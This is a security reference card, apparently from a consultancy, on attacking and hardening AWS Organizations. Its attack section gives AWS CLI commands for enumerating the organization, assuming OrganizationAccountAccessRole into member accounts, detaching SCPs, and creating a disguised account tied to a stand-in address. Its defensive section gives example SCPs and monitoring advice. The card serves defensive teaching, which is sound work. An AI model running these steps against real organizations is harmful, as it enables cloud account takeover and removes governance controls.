AWS Organizations manages multiple AWS accounts with consolidated billing, SCPs, and centralized governance. Compromising the management account means total control over all member accounts.
The "root" account that created the organization. Has full control over all member accounts, can create/delete accounts, apply SCPs, and access any account via OrganizationAccountAccessRole.
Critical: SCPs don't apply to management account - it's exempt from all restrictions
SCPs define maximum available permissions for member accounts. They're deny-by-default guardrails that can prevent even root users from performing certain actions.
Inheritance: SCPs cascade from Root → OUs → Accounts. Most restrictive policy wins.
Organizations compromise is the ultimate privilege escalation. Management account access means control over all member accounts, billing, and the ability to bypass all SCPs.
aws organizations describe-organizationaws organizations list-accountsaws organizations list-roots && aws organizations list-organizational-units-for-parent --parent-id r-xxxxaws organizations list-policies --filter SERVICE_CONTROL_POLICYaws organizations describe-policy --policy-id p-xxxxxxxxKey: OrganizationAccountAccessRole exists in every account created by Organizations - it trusts the management account.
Full org control, SCP exempt
Sandbox accounts often have weaker SCPs - pivot from there to higher-privilege OUs
aws sts assume-role \
--role-arn arn:aws:iam::MEMBER_ACCOUNT:role/OrganizationAccountAccessRole \
--role-session-name attackeraws organizations list-accounts \
--query 'Accounts[*].[Id,Name,Status]' \
--output tableaws organizations detach-policy \
--policy-id p-xxxxxxxx \
--target-id ou-xxxx-xxxxxxxxaws organizations create-account \
--email attacker@evil.com \
--account-name "Audit-Backup"# From member account
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.AWS, `arn:aws:iam::MGMT_ACCOUNT`)]'aws organizations list-policies-for-target \
--target-id ACCOUNT_ID \
--filter SERVICE_CONTROL_POLICY{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": ["us-east-1", "us-west-2"]
}
}
}]
}Only restricts regions - no protection against data exfil, privilege escalation, etc.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLeavingOrg",
"Effect": "Deny",
"Action": ["organizations:LeaveOrganization"],
"Resource": "*"
},
{
"Sid": "ProtectCloudTrail",
"Effect": "Deny",
"Action": ["cloudtrail:DeleteTrail", "cloudtrail:StopLogging"],
"Resource": "*"
},
{
"Sid": "ProtectGuardDuty",
"Effect": "Deny",
"Action": ["guardduty:DeleteDetector"],
"Resource": "*"
}
]
}Prevents leaving org, disabling security services - defense in depth
# No SCP to restrict root user actions
# Root can still:
# - Create access keys
# - Change account settings
# - Delete resources
# - Disable security controlsSCPs should restrict root user to emergency-only actions
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringLike": {
"aws:PrincipalArn": "arn:aws:iam::*:root"
}
}
}]
}Denies all root user actions in member accounts - use IAM roles instead
Minimal workloads, MFA on root, dedicated security controls, separate from daily operations.
Apply SCPs at multiple levels: Root, OUs, and individual accounts for defense in depth.
Modify or replace the default role with stricter trust policies and conditions.
# Add condition to trust policy
"Condition": {
"StringEquals": {
"aws:PrincipalTag/team": "platform"
}
}Alert on CreateAccount, AttachPolicy, DetachPolicy, MoveAccount events.
Delegate service administration to dedicated accounts instead of using management account.
aws organizations register-delegated-administrator \
--account-id 123456789012 \
--service-principal guardduty.amazonaws.comSCP to deny LeaveOrganization prevents accounts from escaping controls.
AWS Organizations Security Card • Toc Consulting
Always obtain proper authorization before testing